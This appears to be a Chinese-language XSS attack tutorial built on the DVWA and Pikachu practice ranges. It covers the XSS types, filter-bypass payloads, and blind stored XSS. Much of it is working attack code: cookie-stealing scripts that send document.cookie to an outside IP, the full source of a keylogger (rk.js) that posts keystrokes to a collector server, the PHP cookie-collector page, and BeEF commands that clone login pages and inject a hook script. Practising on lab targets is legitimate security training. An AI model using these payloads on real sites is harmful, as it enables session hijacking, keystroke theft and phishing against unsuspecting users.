XSS漏洞攻防
XSS漏洞攻防
XSS基本概念
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混 淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意JavaScript代码,当用户浏览该页 面时,嵌入Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击。
-
能插入到web页面 --输入
<script>alert(1)</script>
-
插入的js代码能被解析 --输出
在Web页面上,有一种很常见的功能是将用户输入的内容输出到页面上。但是如果这里输入的内容是一 段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。 通过构造其他相应的代码,攻击者可以执行更具危害的操作。
XSS分类
反射型
非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务 器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS主要是GET类型。
恶意js语句,连接黑客服务器
影响单一用户
存储型
持久型,常见的就是在博客留言板、反馈投诉、论坛评论,将恶意代码和正文都存入服务器的数据库。 每次访问都会触发恶意代码。 例如: alert(/xss/)
影响众多用户
登录的状态下
dom型
文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或 脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。
DOM型XSS其实是一种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM文档对象模型的一种 漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS靠 的是浏览器的DOM解析,完全是客户端的事情。
DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通 过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的 数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有 经过严格的验证,便会产生基于DOM的XSS漏洞。
基于DOM的XSS是反射型的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取 出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其 他防护检测不出恶意内容。
手工测试
这里我们选取DVWA靶场进行手工测试
反射 XSS
Low
用
<script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>
即可触发XSS
img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。想 要在某个标签中运用事件,先去查询一下该标签是否支持对应事件。
DOM XSS
反弹cookie
http://43.136.41.84:8080/vulnerabilities/xss_r/?name=
<script>var img=document.createElement("img");img.src=alert(document.cookie);
</script>
<script>
var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);
</script>
medium
发现<script>标签被过滤了,尝试使用大小写混淆或者双写绕过:
大小写混淆:<ScRipt>alert(/xss/)</script>
双写绕过:<sc<script>ript>alert(/xss/)</script>
其他标签:<img src=x OnerrOr=alert(/xss/)>
High
过滤了 <script
在线正则表达式:https://c.runoob.com/front-end/854/
使用其他标签:<img src=x OnerrOr=alert(/xss/)>
存储 XSS
low
medium
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:单引号(') 双引号(") 反斜杠(\) NULL
<sc<script>ript>alert(document.cookie)</script>
-
可以使用burpsuite抓包修改
-
鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我 这里修改为 1000
与high方法相同
high
鼠标选中form表单后右键选择检查,直接修改前端代码的 maxlength ,之后就可以正常输入了,我 这里修改为 10000
<img src=## onerror=alert(document.cookie)>
XSS盲打
Pikachu安装
docker pull area39/pikachu
XSS盲打是一种攻击场景,也是属于存储型XSS类型。 盲打的意思是无法直接在前端看到反馈效果,只有后台能看到输入的内容,从前端无法判断是否存在 XSS,这种情况下,我们直接往里面插入XSS代码,然后等待,当管理员查看时就会遭到xss攻击。 输入常规的payload,点击提交
<script>alert(/xss/)</script>
<img src=## onerror=alert(document.cookie)>
后台地址是http://your_ip/vul/xss/xssblind/admin_login.php,
XSS键盘记录
docker rm $(docker ps -a -q)
docker run -d -p 8081:80 -p 33061:3306 --name pikachu area39/pikachu
查看pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js
docker exec -it pikachu bash
root@7ac17f313339:/# cd /var/www/html/pkxss/rkeypress/
root@7ac17f313339:/var/www/html/pkxss/rkeypress# ls
pkxss_keypress_result.php rk.js rkserver.php
rk.js
/**
* Created by runner on 2018/7/8.
*/
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax=";
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;//记录按键
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://43.136.41.84:8085 /pkxss/rkeypress/rkserver.php",true);
//使用php脚本接收键盘记录的结果,测试时需修改访问地址
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);//发送postdate
此处我们修改为 43.136.41.84:8085
将
改为
在存储型XSS模块输入payload
(插入rk.js)
<script src="http://43.136.41.84:8081/pkxss/rkeypress/rk.js"></script>
cat rkserver.php
oot@7ac17f313339:/var/www/html/pkxss/rkeypress# cat rkserver.php
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>
XSS平台利用—获取cookie
root@7ac17f313339:/var/www/html/pkxss# cd xcookie/
root@7ac17f313339:/var/www/html/pkxss/xcookie# ls
cookie.php pkxss_cookie_result.php post.html
root@7ac17f313339:/var/www/html/pkxss/xcookie# cat cookie.php
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>root@7ac17f313339:/var/www/html/pkxss/xcookie# pwd
/var/www/html/pkxss/xcookie
root@7ac17f313339:/var/www/html/pkxss/xcookie#
前台XSS盲打攻击获取cookie
前台XSS盲打攻击获取cookie,XSS盗取cookie payload
// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参
数为 document.cookie
<script>document.write('<img src="http://43.136.41.84:8081/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
Beef-XSS
BeEF(Browser Exploitation Framework)是一款非常强大的Web框架攻击平台,集成了许多 payload,可以通过XSS漏洞配合JavaScript脚本和Metasploit进行渗透。基于Ruby语言编写,并且支持 图形化界面,操作简单。
(95条消息) kali安装beef_归去来兮-zangcc的博客-CSDN博客_kali beef
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com", "mount":"/clone_site"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=f7f46b1e44547a5f4fe326806c6a55c31f47e5b2
http://192.168.226.133:3000/clone_site
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://43.136.41.84:8081/vul/xss/xsspost/post_login.php", "mount":"/pikachu_magedu"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=d4d4ab216737a87dd8d4eeaaebb86b8ab07d7472
http://192.168.226.133:3000/pikachu_magedu
使用beef克隆 pikachu 平台的”XSS之盲打“页面获取cookie
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://43.136.41.84:8081/vul/xss/xssblind/xss_blind.php", "mount":"/blind"}' -X POST http://192.168.226.133:3000/api/seng/clone_page?token=d4d4ab216737a87dd8d4eeaaebb86b8ab07d7472
<script src="http://192.168.226.133:3000/hook.js"></script>
XSS防御绕过
在实际的网站中,或多或少都会做一些安全措施去防御XSS漏洞的攻击,但是这些安全措施也存在方 法、逻辑不严谨的情况,可以被绕过。